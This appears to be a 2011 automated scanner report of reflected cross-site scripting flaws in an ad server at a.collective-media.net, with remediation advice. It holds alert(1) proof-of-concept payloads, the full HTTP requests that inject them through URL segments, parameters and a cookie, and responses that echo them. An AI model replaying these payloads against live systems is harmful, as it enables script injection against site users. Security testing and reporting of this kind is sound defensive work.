Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e86b1'-alert(1)-'ec77a2e345c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/ns.fixyae86b1'-alert(1)-'ec77a2e345c/general;ppos=atf;kw=;tile=1;sz=300x250,336x280;ord=6258653348777443? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 478 Date: Wed, 16 Feb 2011 13:18:32 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Fri, 18-Mar-2011 13:18:32 GMT
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2cd83'-alert(1)-'d19ac059cda was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/ns.fixya/general2cd83'-alert(1)-'d19ac059cda;ppos=atf;kw=;tile=1;sz=300x250,336x280;ord=6258653348777443? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 478 Date: Wed, 16 Feb 2011 13:18:32 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Fri, 18-Mar-2011 13:18:32 GMT
1.3. http://a.collective-media.net/adj/ns.fixya/general [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/ns.fixya/general
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2df14'-alert(1)-'5dbbe95b93a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/ns.fixya/general;ppos=atf;kw=;tile=1;sz=300x250,336x280;ord=6258653348777443?&2df14'-alert(1)-'5dbbe95b93a=1 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 482 Date: Wed, 16 Feb 2011 13:18:32 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Fri, 18-Mar-2011 13:18:32 GMT
The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f3de4'-alert(1)-'eb0bee77807 was submitted in the ppos parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/ns.fixya/general;ppos=atf;kw=;tile=1;sz=300x250,336x280;ord=6258653348777443?f3de4'-alert(1)-'eb0bee77807 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 479 Date: Wed, 16 Feb 2011 13:18:32 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Fri, 18-Mar-2011 13:18:32 GMT
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1cd6f'-alert(1)-'e6c30fe4ecd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj1cd6f'-alert(1)-'e6c30fe4ecd/ns.fixya/general;ppos=atf;kw=;tile=1;sz=300x250,336x280;net=ns;ord=6258653348777443;ord1=249599;cmpgurl=http%253A//www.fixya.com/? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Wed, 16 Feb 2011 13:18:34 GMT Connection: close Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:18:34 GMT Content-Length: 7390
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-90703817_1297862314","http://ad.doubleclick.net/adj1cd6f'-alert(1)-'e6c30fe4ecd/ns.fixya/general;net=ns;u=,ns-90703817_1297862314,11e4f07c0988ac7,Miscellaneous,ns.icomgraph_l;;ppos=atf;kw=;tile=1;cmw=owl;sz=300x250,336x280;net=ns;ord1=249599;contx=Miscellaneous;dc=w;btg=ns.icomgr ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e6f2'-alert(1)-'bab7910fe3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/ns.fixya3e6f2'-alert(1)-'bab7910fe3/general;ppos=atf;kw=;tile=1;sz=300x250,336x280;net=ns;ord=6258653348777443;ord1=249599;cmpgurl=http%253A//www.fixya.com/? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Wed, 16 Feb 2011 13:18:34 GMT Connection: close Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:18:34 GMT Content-Length: 7389
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-19789834_1297862314","http://ad.doubleclick.net/adj/ns.fixya3e6f2'-alert(1)-'bab7910fe3/general;net=ns;u=,ns-19789834_1297862314,11e4f07c0988ac7,Miscellaneous,ns.icomgraph_l;;ppos=atf;kw=;tile=1;cmw=owl;sz=300x250,336x280;net=ns;ord1=249599;contx=Miscellaneous;dc=w;btg=ns.icomgraph_l;ord ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 236e3'-alert(1)-'c8c8f35c30a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/ns.fixya/general236e3'-alert(1)-'c8c8f35c30a;ppos=atf;kw=;tile=1;sz=300x250,336x280;net=ns;ord=6258653348777443;ord1=249599;cmpgurl=http%253A//www.fixya.com/? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Wed, 16 Feb 2011 13:18:34 GMT Connection: close Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:18:34 GMT Content-Length: 7390
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-42028986_1297862314","http://ad.doubleclick.net/adj/ns.fixya/general236e3'-alert(1)-'c8c8f35c30a;net=ns;u=,ns-42028986_1297862314,11e4f07c0988ac7,Miscellaneous,ns.icomgraph_l;;ppos=atf;kw=;tile=1;cmw=owl;sz=300x250,336x280;net=ns;ord1=249599;contx=Miscellaneous;dc=w;btg=ns.icomgraph_l;ord=6258653 ...[SNIP]...
The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bdc3a'-alert(1)-'ca6bbdd43c was submitted in the ppos parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/ns.fixya/general;ppos=bdc3a'-alert(1)-'ca6bbdd43c HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Wed, 16 Feb 2011 13:18:34 GMT Connection: close Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:18:34 GMT Content-Length: 7282
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... guage="Javascript">CollectiveMedia.createAndAttachAd("ns-58278007_1297862314","http://ad.doubleclick.net/adj/ns.fixya/general;net=ns;u=,ns-58278007_1297862314,11e4f07c0988ac7,none,ns.icomgraph_l;;ppos=bdc3a'-alert(1)-'ca6bbdd43c;contx=none;dc=w;btg=ns.icomgraph_l?","0","0",false);</scr'+'ipt> ...[SNIP]...
The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f61e2'%3balert(1)//e168b61c8e0 was submitted in the cli cookie. This input was echoed as f61e2';alert(1)//e168b61c8e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/ns.fixya/general;ppos=atf;kw=;tile=1;sz=300x250,336x280;net=ns;ord=6258653348777443;ord1=249599;cmpgurl=http%253A//www.fixya.com/? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7f61e2'%3balert(1)//e168b61c8e0; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Wed, 16 Feb 2011 13:18:34 GMT Connection: close Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:18:34 GMT Content-Length: 7362
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-99602786_1297862314","http://ad.doubleclick.net/adj/ns.fixya/general;net=ns;u=,ns-99602786_1297862314,11e4f07c0988ac7f61e2';alert(1)//e168b61c8e0,Miscellaneous,;;ppos=atf;kw=;tile=1;cmw=owl;sz=300x250,336x280;net=ns;ord1=249599;contx=Miscellaneous;dc=w;btg=;ord=6258653348777443?","300","250,336",false);</scr'+'ipt> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /adj/ns.fixya/general;ppos=atf;kw=;tile=1;sz=300x250,336x280;ord=6258653348777443? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 450 Date: Wed, 16 Feb 2011 13:18:31 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Fri, 18-Mar-2011 13:18:31 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /adj/ns.fixya/general;ppos=atf;kw=;tile=1;sz=300x250,336x280;ord=6258653348777443? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.fixya.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 450 Date: Wed, 16 Feb 2011 13:18:31 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Fri, 18-Mar-2011 13:18:31 GMT